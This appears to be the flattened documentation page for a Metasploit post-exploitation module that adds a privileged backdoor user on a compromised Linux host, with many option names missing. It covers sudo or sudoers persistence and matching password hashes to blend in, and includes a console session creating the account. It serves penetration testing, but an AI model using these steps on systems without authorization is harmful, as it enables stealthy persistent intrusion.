documentation/modules/post/linux/manage/adduser.md
This module creates a new user using the standard (or non-standard) means of creating a new user on the victim OS. This module requires root privileges in order to run as it needs access to /etc/shadow.
use post/linux/manage/adduserset session <id>Provide the username that can be used. Linux has a standardization that means
that password have to follow this regex to be able to be used as a username
^[a-z][a-z0-9_-]{0,31}$
Provides a password for your new user.
Define the shell that is to be used. Defaults to /bin/sh but can be changed
to a shell that exists.
Speficy the home directory of the new user. An empty value specifies that the home directory does not exist.
Specify what groups the new user should be under. Takes one or multiple values to provide what groups the new user will have.
Sets the method that the new user will get root access. This can be done through multiple methods provided below:
/etc/sudoers file in order to
prevent being removed from sudoers groupSet the method used to create new user.
Set the binary used to add the user. The two main binaries concerned with are
useradd and adduser. If you want to overwrite which binary is used or give
an absolute path rather than a relative path, you can override it here.
This option decides how to manage groups requested that are missing on the victim. The possible options are provided as such:
Allows the user to decide how their password will be encrypted on the system.
The options are between DES, MD5, SHA256, and SHA512. This can be
advantageous to blend in with the main system by using the same password
encryption scheme as the rest of the users. Or if one encryption type isn't
compatible with a given target.
msf > use post/linux/manage/adduser
msf post(linux/manage/adduser) > set session 6
session => 6
msf post(linux/manage/adduser) > set sudomethod GROUP
sudomethod => GROUP
msf post(linux/manage/adduser) > set groups wheel docker wireshark
groups => wheel docker wireshark
msf post(linux/manage/adduser) > set username metasploit
username => metasploit
msf post(linux/manage/adduser) > set password abcd1234
password => abcd1234
msf post(linux/manage/adduser) > set shell /bin/bash
shell => /bin/bash
msf post(linux/manage/adduser) > set home /home/metasploit
home => /home/metasploit
msf post(linux/manage/adduser) > set missinggroups CREATE
missinggroups => CREATE
msf post(linux/manage/adduser) > set verbose true
verbose => true
msf post(linux/manage/adduser) > run
[-] Groups [docker] do not exist on system
[*] Running on Debian 11.7 (Linux 5.10.0-23-amd64)
[*] Useradd exists. Using that
[*] groupadd docker
[*]
[+] Added docker group
[*] useradd --password $1$WDX5Sg4N$Hcfx4HSigx/KbvtSzhsXD/ --home-dir /home/metasploit --groups wheel,docker,wireshark,sudo --shell /bin/bash --no-log-init metasploit
[*]
[*] Post module execution completed
msf post(linux/manage/adduser) > run
[*] Running on Debian 11.7 (Linux 5.10.0-23-amd64)
[*] Useradd exists. Using that
[*] useradd --password $1$EVUDKEc3$Sip80MAZmLv.2vOhzW/4k0 --home-dir /home/metasploit --groups wheel,docker,wireshark,sudo --shell /bin/bash --no-log-init metasploit
[*] useradd: user 'metasploit' already exists
[*] Post module execution completed